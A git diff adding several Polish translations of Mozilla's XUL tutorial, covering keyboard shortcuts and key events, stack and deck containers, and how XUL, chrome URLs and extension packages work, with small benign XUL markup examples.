+<h3 id="Zastosowanie_skr.C3.B3t.C3.B3w_klawiaturowych" name="Zastosowanie_skr.C3.B3t.C3.B3w_klawiaturowych">Zastosowanie skrótów klawiaturowych</h3>
+
+<p>Kiedy już wiemy jak zdefiniować skróty klawiaturowe, nauczymy się jak ich używać. Istanieją dwa sposoby. Pierwszy, najprostrzy, wymaga skorzystania z obsługi zdarzenia keypress dla elementu key. Kiedy użytkownik wciśnie klawisz, skrypt zostanie wywołany. Przykład poniżej:</p>
+
+<pre>&lt;keyset&gt;
+ &lt;key id="copy-key" modifiers="accel" key="C" oncommand="DoCopy();"/&gt;
+&lt;/keyset&gt;
+</pre>
+
+<p>Funkcja <code>DoCopy</code> będzie wywołana w chwili w której użytkownik wciśnie klawisz wyspecyfikowany przez element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code>. W tym przypadku są to klawisze przewidziane do operacji kopiowania do schowka (takie jak Control i C). Będzie to działać jeśli tylko okno jest otwarte. Funkcja <code>DoCopy</code> powinna sprawdzać czy text jest zaznaczony, a następnie kopiować go do schowka. Zauważmy, że pola tekstowe posiadają wbudowane skróty klawiaturowe, więc nie musimy ich sami implementować.</p>
+
+<h4 id="Przypisanie_skr.C3.B3tu_w_menu" name="Przypisanie_skr.C3.B3tu_w_menu">Przypisanie skrótu w menu</h4>
+
+<p>Jeśli przypisujemy skróty klawiaturowe, które wykonują komendy, które także znajdują się w menu, jesteśmy w stanie powiązać element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code></code> bezpośrednio z menu command. Aby to zrobić, dodajemy atrybut <code><code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code></code> dla pozycji w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>. Przypiszmy jej wartość <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> klawisza, którego chcemy użyć. Poniżej przykład:</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_keyshort_2.xul">Podgląd</a></p>
+
+<div class="float-right"><img alt="grafika:keyshort1.png"></div>
+
+<pre>&lt;keyset&gt;
+ &lt;key id="paste-key" modifiers="accel" key="V"
+ oncommand="alert('Paste invoked')"/&gt;
+&lt;/keyset&gt;
+
+&lt;menubar id="sample-menubar"&gt;
+ &lt;menu id="edit-menu" label="Edit" accesskey="e"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem id="paste-command"
+ accesskey="p" key="paste-key"
+ label="Paste" oncommand="alert('Paste invoked')"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+
+<p>Atrybut <code><code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code></code> przypisany do pozycji w menu, który w tym przypadku jest klawiszem odpowiadającym z opcję wklejenia, jest równy id zdefiniowanego klawisza. Możemy go użyć dla dodatkowych klawiszy, jak i dla zdefiniowania skrótów klawiaturowych dowolnej liczby pozycji znajdujących się w menu.</p>
+
+<p>Warto także zauważyć na obrazku, że tekst został umieszczony zaraz przy polecanie Paste (znajdującym się w menu), w celu wykrycia czy klawisze Control i V zostały wciśnięte, aby wywołać polecenie menu. Skróty klawiaturowe dodane do menu będą działać nawet jeśli menu nie jest otwarte.</p>
+
+<p>Kolejną dodaktową cechą definicji klawiszy jest prosta możliwość ich dezaktywacji. Aby to zrobić wystarczy dodać atrybut <code><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code></code> do elementu <code>key</code> i ustawić jego wartość na <code>true</code>. Wyłącza to skrót klawiaturowy, pozbawiając go możliwości wywołania. Wygodnie jest zmieniać wartość atrybutu <code>disabled</code> poprzez użycie skryptów.</p>
+
+<div class="highlight">
+<h5 id="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Znajd.C5.BA_pliki">Nasz przykład: Znajdź pliki</h5>
+
+<p>Dodajmy skróty klawiaturowe do naszego przykładu okna dialogowego Znajdź pliki. Dodamy ich cztery, po jednym dla poleceń Wytnij, Kopiuj, Wklej i Zamknij (kiedy użytkownik wciśnie Escape).</p>
+
+<pre class="eval"><span class="highlightred">&lt;keyset&gt;
+ &lt;key id="cut_cmd" modifiers="accel" key="X"/&gt;
+ &lt;key id="copy_cmd" modifiers="accel" key="C"/&gt;
+ &lt;key id="paste_cmd" modifiers="accel" key="V"/&gt;
+ &lt;key id="close_cmd" keycode="VK_ESCAPE" oncommand="window.close();"/&gt;
+&lt;/keyset&gt;</span>
+
+&lt;vbox flex="1"&gt;
+ &lt;toolbox&gt;
+ &lt;menubar id="findfiles-menubar"&gt;
+ &lt;menu id="file-menu" label="Plik" accesskey="f"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menuitem label="Otwórz szukanie..." accesskey="o"/&gt;
+ &lt;menuitem label="Zapisz szukanie..." accesskey="s"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Zakończ" accesskey="c" <span class="highlightred">key="close_cmd"</span>
+ oncommand="window.close();"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menu id="edit-menu" label="Edycja" accesskey="e"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="Wytnij" accesskey="t" <span class="highlightred">key="cut_cmd"</span>/&gt;
+ &lt;menuitem label="Kopiuj" accesskey="c" <span class="highlightred">key="copy_cmd"</span>/&gt;
+ &lt;menuitem label="Wklej" accesskey="p" <span class="highlightred">key="paste_cmd"</span> disabled="true"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+</pre>
+
+<p>Teraz możemy użyć tych skrótów klawiaturowych w celu aktywacji komend. Oczywiście, komendy schowka, nie robią na razie nic, ponieważ nie napisaliśmy na razie żadnych skryptów.</p>
+</div>
+
+<h3 id="Zdarzenia_klawiszy" name="Zdarzenia_klawiszy">Zdarzenia klawiszy</h3>
+
+<p>Istnieją trzy zdarzenia związane z klawiaturą, które mogą zostać użyte w przypadku, w którym cechy klawiszy opisane wyżej nie są odpowiednie. Tymi zdarzeniami są:</p>
+
+<dl>
+ <dt>keypress </dt>
+ <dd>Wywoływany gdy klawisz został wciśnięty i puszczony na aktywnym elemencie. Można wykorzystać do weryfikacji dozwolonych znaków w polu.</dd>
+ <dt>keydown </dt>
+ <dd>Wywoływany gdy klawisz został wciśnięty na aktywnym elemencie. Zwróć uwagę, że zostanie wywołany jak tylko przycisk zostanie wciśnięty, nawet jeśli nie został puszczony.</dd>
+ <dt>keyup </dt>
+ <dd>Wywoływany gdy klawisz został puszczony na aktywnym elemencie.</dd>
+</dl>
+
+<p>Zdarzenia klawiszy będą wysyłane tylko do tych elementów na których skupiona jest uwaga (focus). Typowo, będą to textboxy, przyciski, checkboy itp. Jeśli uwaga nie jest skupiona na żadnym z elementów to zdarzenie klawisza, będzie się odnosiło w stosunku do dokumentu XUL. W tym przypadku, można dodać nasłuch zdarzenia do znacznika <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code> . Jeśli jednak chcesz odpowiadać na działanie klawiszy globalnie, będziesz zmuszony do wykorzystania skrótów klawiaturowych, zgodnie z powyższymi wskazówkami.</p>
+
+<p>Obiekt zdarzenia klawisza posiada dwie własności, które przechowują klawisz, który został wciśnięty. Własność keyCode przetrzymuje kod klawisza i może posłużyć do porównania z jedną ze stałych wymienionych w tabelce powyżej. Natomiast charCode, jest używana dla możliwych do wyświetlenia znaków i przechowuje kod znaku wciśniętego klawisza.</p>
+
+<p>Następnie dowiemy się <a href="pl/Kurs_XUL/Kontrola_zaznaczenia_i_aktywacji_element%c3%b3w">jak podtrzymać zaznaczenie i aktywację elementu</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Więcej_funkcji_obsługi_zdarzeń" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrola_zaznaczenia_i_aktywacji_elementów">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/stosy_i_pokłady/index.html b/files/pl/mozilla/tech/xul/kurs_xul/stosy_i_pokłady/index.html
new file mode 100644
index 0000000000..477088d803
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/stosy_i_pokłady/index.html
@@ -0,0 +1,77 @@
+---
+title: Stosy i pokłady
+slug: Mozilla/Tech/XUL/Kurs_XUL/Stosy_i_pokłady
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Stacks_and_Decks
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_innych_elementów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_stosu">Następny »</a></p>
+</div>
+<p></p><p>Może wystąpić potrzeba wyświetlenia elementów jako zbioru nakładających się kart. Do tego celu mogą być zastosowane elementy stosu i pokładu.
+</p>
+<h3 id="Kontenery" name="Kontenery"> Kontenery </h3>
+<p>Każde pudełko XUL jest kontenerem mogącym zawierać jakiś inny element. Jest kilka elementów, które są wyspecjalizowanym typem pudełek, takich jak <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">paski narzędzi</a> oraz <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">panele kart</a>. Znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> tworzy najprostsze pudełko bez określonych własności. Jednakże wyspecjalizowane typy pudełek pracują jak regularne pudełka w sposób zorientowany (<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>) na elementy znajdujące się wewnątrz nich, ale posiadają także dodatkowe cechy.
+</p><p>Faktycznie wiele komponentów może zawierać inne elementy. Widzieliśmy już, że przyciski mogą zawierać inne rzeczy poza domyślnymi. Pasek przewijania jest właśnie specjalnym typem pudełka, które tworzy swoje własne elementy, jeśli ich nie dostarczymy. Może być przesuwany także za pomocą uchwytu, poprzez złapanie i przesunięcie paska.
+</p><p>W kolejnych kilku rozdziałach wprowadzimy pewne elementy, które zostały zaprojektowane do przechowywania innych elementów. Są to wszystkie specjalne typy pudełek i pozwalają zastosować wszystkie atrybuty pudełka w sobie.
+</p>
+<h3 id="Stosy" name="Stosy"> Stosy </h3>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> jest prostym pudełkiem. Działa jak inne pudełka, ale posiada specjalną własność, która jest dzieckiem położonym na górze pozostałych elementów. Pierwsze dziecko stosu jest ustawiane na spodzie, drugie dziecko na nim, następnie w taki sam sposób trzecie i tak dalej kolejne. Na stosie może być ułożonych wiele elementów.
+</p><p>Własność <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code></code> ma mniejsze znaczenie na stosie jako potomek, niż jakby były ułożone jeden obok drugiego. Rozmiar stosu jest określony przez
+największego potomka, ale możemy zastosować własności CSS <code>width</code>, <code>height</code>, <code>min-width</code> i inne podobne własności zarówno ze stosem, jak i jego potomkami.
+</p><p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> może być zastosowany dla przypadku, gdzie status wskazuje konieczność dodania ponad istniejący element. Na przykład, pasek postępu może zostać stworzony przy użyciu paska i etykiety umieszczonej na jego górze.
+</p><p>Jednym dogodnym zastosowaniem elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> jednak jest to, że możemy zastosować na nim pewną liczbę własności CSS. Na przykład, możemy stworzyć podobny efekt do własności cieniowania tekstu w bardzo prosty sposób: </p>
+<h4 id="Przyk.C5.82ad_stosu" name="Przyk.C5.82ad_stosu"> Przykład stosu </h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_1.xul">Podgląd</a>
+</p>
+<pre>&lt;stack&gt;
+ &lt;description value="Cieniowany" style="padding-left: 1px; padding-top: 1px; font-size: 15pt"/&gt;
+ &lt;description value="Cieniowany" style="color: red; font-size: 15pt;"/&gt;
+&lt;/stack&gt;
+</pre>
+<div class="float-right"><img alt="grafika:stacks1.png"></div>
+<p>Oba elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> tworzą tekst o rozmiarze 15 punktów. Pierwszy jednak jest przesunięty w prawo oraz w dół o jeden piksel przez dodanie odstępu z lewej strony i góry. Wynikiem będzie uzyskanie tego samego wyrazu 'Cieniowanie' po raz drugi, lecz już lekko przesuniętego względem poprzedniego elementu. Drugi element <code>description</code> został napisany na czerwono, aby zobaczyć efekt w sposób bardzo wyraźny.
+</p><p>Metoda ta ma przewagę nad zastosowaniem <code>text-shadow</code>, ponieważ możesz całkowicie dodać styl cienia z wyjątkiem tekstu głównego. Możesz mieć swoje własne czcionki, podkreślenia lub rozmiar (możesz nawet stworzyć cień migający). Jest również użyteczny, ponieważ Mozilla nie może aktualnie obsługiwać cieniowania tekstu CSS. Wadą jest to, że obszar objęty cieniem stwarza większy rozmiar stosu. Cieniowanie jest bardzo użyteczne dla tworzenia nieaktywnego pojawienia się przycisków.
+</p>
+<h4 id="Cieniowanie_z_przyk.C5.82adem_pok.C5.82adu" name="Cieniowanie_z_przyk.C5.82adem_pok.C5.82adu"> Cieniowanie z przykładem pokładu </h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_2.xul">Podgląd</a>
+</p>
+<pre>&lt;stack style="background-color: #C0C0C0"&gt;
+ &lt;description value="Wyłączony" style="color: white; padding-left: 1px; padding-top: 1px;"/&gt;
+ &lt;description value="Wyłączony" style="color: grey;"/&gt;
+&lt;/stack&gt;
+</pre>
+<div class="float-right"><img alt="grafika:stacks10.png"></div>
+<p>Ten układ tekstu i kolory cienia tworzą nieaktywność na dowolnej platformie.
+</p><p>Zauważ, że zdarzenia, takie jak kliknięcie myszką i naciskanie klawiszy, są przekazywane do elementu na szczycie stosu, to znaczy, do ostatniego elementu na stosie. Oznacza to, że przyciski będą działały poprawnie tylko jako ostatni element stosu.
+</p>
+<h3 id="Pok.C5.82ady" name="Pok.C5.82ady"> Pokłady </h3>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code> również wystawia swoich potomków jeden nad drugim podobnie jak element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code>, jednak pokład wyświetla tylko jeden ze swoich potomków w jednym czasie. Byłoby to użyteczne dla interfejsu kreatora, gdzie szereg podobnych paneli jest wyświetlanych w kolejności. Zamiast tworzenia oddzielnych okien i dodania przycisków nawigacyjnych do każdego z nich, stworzysz jedno okno i użyjesz podkładu, gdzie zawrzesz zmiany.
+</p><p>Podobnie jak stosy, bezpośredni potomek elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/deck" title="deck">deck</a></code></code> formuje strony pokładu. Jeśli jest trzech potomków elementu <code>deck</code>, pokład będzie miał trzech potomków. Wyświetlana strona pokładu może być zmieniona przez ustawienie atrybutu <code><code id="a-selectedIndex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selectedIndex">selectedIndex</a></code></code> elementu <code>deck</code>. Indeks jest to liczba, która identyfikuje, jaka strona jest wyświetlana. Strony są ponumerowane poczynając od zera. Więc pierwszy potomek pokładu to strona o indeksie 0, druga jest to strona o indeksie 1 i tak dalej.
+</p><p>Poniżej mamy przykład pokładu:
+</p>
+<h4 id="Przyk.C5.82ad_pok.C5.82adu" name="Przyk.C5.82ad_pok.C5.82adu"> Przykład pokładu </h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_stacks_3.xul">Podgląd</a>
+</p>
+<pre>&lt;deck selectedIndex="2"&gt;
+ &lt;description value="To jest pierwsza strona"/&gt;
+ &lt;button label="To jest druga strona"/&gt;
+ &lt;box&gt;
+ &lt;description value="To jest trzecia strona"/&gt;
+ &lt;button label="To jest także trzecia strona"/&gt;
+ &lt;/box&gt;
+&lt;/deck&gt;
+</pre>
+<p>Tu mamy trzy strony (pokłady), domyślnie będąc trzecią. Trzecia strona jest pudełkiem z dwoma elementami wewnątrz. Zarówno pudełko, jak i jego elementy wewnątrz stanowią stronę.
+Pokład będzie tak duży jak największy potomek, którym tu będzie strona trzecia.
+</p><p>Możesz przełączać strony stosując skrypt do modyfikacji atrybutu <code><code id="a-selectedIndex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selectedIndex">selectedIndex</a></code></code>. Więcej o tym dowiesz się w rozdziale o zdarzeniach i DOM.
+</p><p>Następny artykuł opisuje, jak stos może być zastosowany do <a href="pl/Kurs_XUL/Pozycjonowanie_stosu">pozycjonowania elementów dziecka</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_innych_elementów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_stosu">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/struktura_xul/index.html b/files/pl/mozilla/tech/xul/kurs_xul/struktura_xul/index.html
new file mode 100644
index 0000000000..34826b291e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/struktura_xul/index.html
@@ -0,0 +1,194 @@
+---
+title: Struktura XUL
+slug: Mozilla/Tech/XUL/Kurs_XUL/Struktura_XUL
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XUL_Structure
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Wprowadzenie" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:URL_Chrome">Następny »</a></p>
+</div><p></p>
+
+<p>Rozpoczynamy naukę w jaki sposób XUL jest obsługiwany przez Mozillę.</p>
+
+<h2 id="Jak_jest_obs.C5.82ugiwany_XUL" name="Jak_jest_obs.C5.82ugiwany_XUL">Jak jest obsługiwany XUL</h2>
+
+<p>XUL w Mozilli jest obsługiwany na takiej samej zasadzie, jak język HTML lub jakikolwiek inny zawarty w niej język. Kiedy wpisujesz adres URL strony HTML w polu adresu przeglądarki, przeglądarka odnajduje witrynę i pobiera jej zawartość. Silnik interpretacji (renderingu) Mozilli pobiera zawartość strony w formie źródła HTML i przekształca to w drzewo dokumentu <em>à la</em> <a href="/pl/DOM" title="pl/DOM">DOM</a>. Drzewo to jest później przekształcane w zestaw obiektów, które mogą zostać wyświetlone na ekranie. <a href="/pl/CSS" title="pl/CSS">CSS</a>, pliki graficzne i inne technologie są używane, by kontrolować tę prezentację. Funkcje XUL są obsługiwane na takiej samej zasadzie.</p>
+
+<p>Tak naprawdę, to w Mozilli wszystkie typy dokumentów, czy są to HTML lub XUL, czy nawet <a href="/pl/SVG" title="pl/SVG">SVG</a>, są obsługiwane przez ten sam podstawowy kod programu. Oznacza to, że tymi samymi własnościami CSS można manipulować zarówno w HTML, jak i w XUL. Również dużo innych cech może być podzielone między oba te języki. Jednakże, są pewne cechy, które właściwe są tylko dla HTML, jak formularze i takie, które dotyczą tylko XUL, jak <a href="/pl/Kurs_XUL/Nakładki" title="pl/Kurs_XUL/Nakładki">nakładki</a>.</p>
+
+<p><span class="comment">However, there are some features that are specific to HTML such as forms, and others which are specific to XUL such as <a href="/pl/XUL_Tutorial/Overlays">overlays</a>. Since XUL and HTML are handled in the same way, you can load both from either your local file system, from a web page, or from an extension or standalone <a href="/pl/XULRunner">XULRunner</a> application.</span></p>
+
+<p>Tak więc XUL i HTML są obsługiwane w ten sam sposób, możesz również oba załadować zarówno z lokalnych zasobów swojego komputera, jak i ze stron w sieci. Mozilla posiada specjalny sposób instalowania i rejestrowania plików (XUL, JS ...) jako części jej systemu chrome. Obejmuje to również tworzenie archiwum plików - paczek, które użytkownik może pobrać i zainstalować. Te zainstalowane paczki maja podwyższone przywileje działania, takie jak: możliwość czytania plików, analizowania ustawień użytkownika i zakładek oraz uzyskiwanie dostępu do innych właściwości systemu. Oczywiście, strony z sieci nie posiadają takich przywilejów, chyba że są podpisane cyfrowym certyfikatem i użytkownik przyzna im na to pozwolenie.</p>
+
+<p><span class="comment">Content from remote sources &lt;code&gt;&lt;nowiki&gt;eg <a class="external" href="http://localhost/~username/" rel="freelink">http://localhost/~username/</a>&lt;/nowiki&gt;&lt;/code&gt;, regardless or whether they are HTML or XUL or another document type, are limited in the type of operations they can perform, for security reasons. For this reason, Mozilla provides a method of installing content locally and registering the installed files as part of its '''<a href="/pl/chrome">chrome</a>''' system. This allows a special URL form to be used called a &lt;code&gt;chrome://&lt;/code&gt; URL. By accessing a file using a chrome URL, the files receive elevated privileges to access local files, access preferences and bookmarks and perform other privileged operations. Obviously, web pages do not get these privileges, unless they are signed with a digital certificate and the user has granted permission to perform these operations.</span></p>
+
+<p>Rejestracja paczki jest sposobem, w jaki rozszerzenia Firefoksa mogą dodawać funkcje do przeglądarki. Rozszerzenia są małymi paczkami plików XUL, JavaScript, stylów CSS i obrazów spakowanych razem do pojedynczego pliku. Paczka może zostać utworzona przy pomocy programu do kompresji ZIP. Kiedy użytkownik pobierze rozszerzenie, zostanie ono zainstalowane na jego komputerze. Rozszerzenie to zagnieździ się w przeglądarce używając specjalnych właściwości XUL nazywanych nakładaniem (overlay), które pozwala kodowi XUL z rozszerzenia i z przeglądarki połączyć się razem w całość. Użytkownikowi może się wydawać, że rozszerzenie zmodyfikowało przeglądarkę, ale w rzeczywistości, kod jest oddzielony i rozszerzenie może zostać łatwo odinstalowane.</p>
+
+<p>Rejestracja paczki nie jest wymagana, żeby używać nakładek, jednak, jeśli nie jest zarejestrowana, nie będziesz mógł dostać się do niej za pomocą głównego interfejsu przeglądarki. Dostęp do tej paczki jest możliwy poprzez specjalny rodzaj adresu URL, stworzonego specjalnie, by uzyskać dostęp do zainstalowanych paczek. Ten rodzaj URL nazywamy chrome i zaczyna się zawsze od 'chrome://'. Tak jak 'http://' zawsze prowadzi do stron internetowych, a 'file://' do folderów lokalnych, tak 'chrome://' odnosi się do zainstalowanych paczek i rozszerzeń. W składnię URL chrome zagłębimy się w dalszych rozdziałach.</p>
+
+<p>Należy zaznaczyć, że, gdy wczytujemy zawartość za pomocą URL chrome, uzyskujemy zwiększone przywileje opisane powyżej, których inne rodzaje adresów nie uzyskują. Dla przykładu, adres HTTP nie posiada żadnych specjalnych przywilejów, a kiedy spróbuje takowe uzyskać, spowoduje błąd (np. przy próbie uzyskania dostępu do plików lokalnych), zaś URL chrome będzie mógł czytać pliki bez ograniczeń.</p>
+
+<p>Ta różnica jest bardzo ważna. Oznacza, że są pewne rzeczy, których zawartość stron www nie może zrobić, takie jak czytanie zakładek użytkownika. Ta różnica nie opiera się na rodzaju wyświetlanej zawartości, tylko na typie użytego adresu. Zarówno HTML, jak i XUL umieszczone na witrynie nie mają żadnych dodatkowych przywilejów. Natomiast HTML i XUL załadowany przez chrome URL posiadają rozszerzone przywileje.</p>
+
+<p>To, że przeglądarka Mozilla sama w sobie jest tylko zbiorem paczek plików XUL, JavaScript i stylów CSS, jest nic nie warte. Te pliki są dostępne poprzez URL chrome, posiadają podwyższone przywileje i działają tak jak inne paczki. Oczywiście, przeglądarka jest znacznie większa i bardziej zaawansowana niż większość rozszerzeń. Klient poczty Mozilla, kompozytor stron, Firefox i Thunderbird, jak również wiele innych komponentów, są napisane w XUL i są one dostępne poprzez URL chrome.</p>
+
+<p>Jeśli zamierzasz używać XUL na stronach WWW, wystarczy, że umieścisz plik XUL na stronie tak jak byś umieszczał plik HTML, a następnie wejdziesz na tą stronę za pomocą przeglądarki. Upewnij się, że twój serwer WWW jest skonfigurowany żeby wysłać pliki XUL z typem zawartości <strong><code>application/vnd.mozilla.xul+xml</code></strong>. Za pomocą typu zawartości Mozilla rozróżnia HTML i XUL. Mozilla nie sugeruje się rozszerzeniem plików, chyba, że odczytuje pliki z lokalnego systemu plików, w każdym razie powinieneś używać rozszerzenia <code>.xul</code> dla wszystkich plików w języku XUL. Możesz otwierać pliki XUL ze swojego komputera otwierając je w przeglądarce lub klikając podwójnie w menadżerze plików.</p>
+
+<div class="note">Pamiętaj, że pliki XUL spoza twojego komputera mają poważne restrykcje odnośnie tego, co mogą zrobić.</div>
+
+<h3 id="Typy_dokument.C3.B3w:_HTML_XML_XUL_CSS" name="Typy_dokument.C3.B3w:_HTML_XML_XUL_CSS">Typy dokumentów: HTML XML XUL CSS</h3>
+
+<p>Trwają prace nad umożliwieniem aplikacjom XUL, żeby funkcjonowały jako samodzielne programy z własnymi instalatorami i plikami wykonywalnymi (XulRunner). Będą one dzielić biblioteki z Mozillą i nie będzie potrzeby mieć zainstalowanej przeglądarki, żeby móc używać XUL. Aktualnie jest to też możliwe, jednak proces ten jest skomplikowany i rzadko używany. Celem jest właśnie usprawnienie tego procesu.</p>
+
+<p>W Mozilli wiele funkcji jest dzielone pomiędzy HTML i XUL, używa ona jednak różnego rodzaju obiektów dokumentu dla każdego. Są trzy główne typy dokumentu w Mozilli: HTML, XML i XUL. Naturalnie, dokumenty HTML są używane do dokumentów HTML, dokumenty XUL są używane do dokumentów XUL i dokumenty XML, które są używane dla innych typów dokumentów XML. Odkąd XUL jest również XML-em, jest podtypem bardziej ogólnego dokumentu XML. Są subtelne różnice w funkcjonalności tych dokumentów. Na przykład, kontrola formularzy na stronie HTML jest dostępna przez właściwość <code>document.forms</code>, ta właściwość nie jest dostępna dla dokumentów XUL, gdyż XUL nie ma formularzy w takim samym sensie, jak HTML. Z drugiej strony określone cechy XUL, takie jak overlays i szablony, są dostępne tylko w dokumentach XUL.</p>
+
+<p>Te różnice pomiędzy dokumentami są bardzo ważne. Istnieje możliwość używania wielu cech <a href="/pl/XUL" title="pl/XUL">XUL</a> w <a href="/pl/HTML" title="pl/HTML">HTML</a> albo w dokumentach XML, kiedy nie ma specyfikacji typu dokumentu, jednakże inne cechy wymagają właściwego rodzaju dokumentu. Na przykład, możesz używać typów układu (layout) XUL w innych dokumentach, gdyż, by działać, nie potrzebują one typu XUL dokumentu.</p>
+
+<p>Podsumujmy wiadomości zdobyte powyżej:</p>
+
+<ul>
+ <li>Mozilla interpretuje (renderuje) <a href="/pl/HTML" title="pl/HTML">HTML</a> i <a href="/pl/XUL" title="pl/XUL">XUL</a> używając tego samego podstawowego silnika i używa CSS do określania ich prezentacji.</li>
+ <li>XUL może zostać załadowany ze zdalnego miejsca (strony WWW), lokalnego systemu pliku albo jako zainstalowana paczka, która dostępna jest poprzez URL chrome. To właśnie robią rozszerzenia przeglądarki.</li>
+ <li>URL chrome można użyć, by uzyskać dostęp do zainstalowanych paczek i otworzyć je z podwyższonymi przywilejami.</li>
+ <li>HTML, XML i XUL posiadają różny typ dokumentów. Pewne cechy mogą zostać użyte w każdym typie dokumentu, podczas gdy inne są przydzielone tylko do jednego rodzaju dokumentu.</li>
+</ul>
+
+<p>Następne kilka artykułów opisuje podstawy struktury paczek chrome, które mogą zostać zainstalowane w Mozilli. Jeśli już chcesz zacząć tworzyć proste aplikacje XUL, możesz przejść od razu do drugiej sekcji i zostawić sobie tą sekcję na później.</p>
+
+<h2 id="Organizacja_paczki" name="Organizacja_paczki">Organizacja paczki</h2>
+
+<p>Mozilla jest zorganizowana w taki sposób, że możesz zainstalować tyle komponentów ile tylko chcesz. Typowa instalacja zawiera komponenty: nawigator, kuriera poczty i kompozytora stron. Posiada też po jednym komponencie dla każdej zainstalowanej skórki i lokalizacji. Każdy z tych komponentów albo paczek, jest złożony z kompletu plików, które opisują interfejs użytkownika dla nich. Na przykład, komponent kuriera poczty będzie miał opis okna z listą wiadomości, okna kompozycji e-maila i książki adresowej.</p>
+
+<p>Paczki, które są dostarczone z Mozillą znajdują się w katalogu chrome, który znajduje się w katalogu instalacyjnym Mozilli. W katalogu chrome znajdziesz wszystkie pliki, które opisują interfejs użytkownika użyty przez przeglądarkę Mozilla, kuriera poczty i inne aplikacje. Może być mylące, że katalog nazywa się "chrome" a jest tylko nieznacznie powiązany z URL chrome. Samo kopiowanie pliku do katalogu "chrome" nie daje plikowi żadnych dodatkowych przywilejów, ani nie umożliwia dostępu poprzez URL chrome. Jedyną droga by stworzyć zawartość, która może być dostępna poprzez URL chrome, jest stworzenie paczki jak opisano w następnych kilku sekcjach. Katalog ten został nazywany "chrome" ponieważ ta nazwa wydawała się odpowiednia dla katalogu, gdzie znajdują się paczki chrome, zawarte w Mozilli.</p>
+
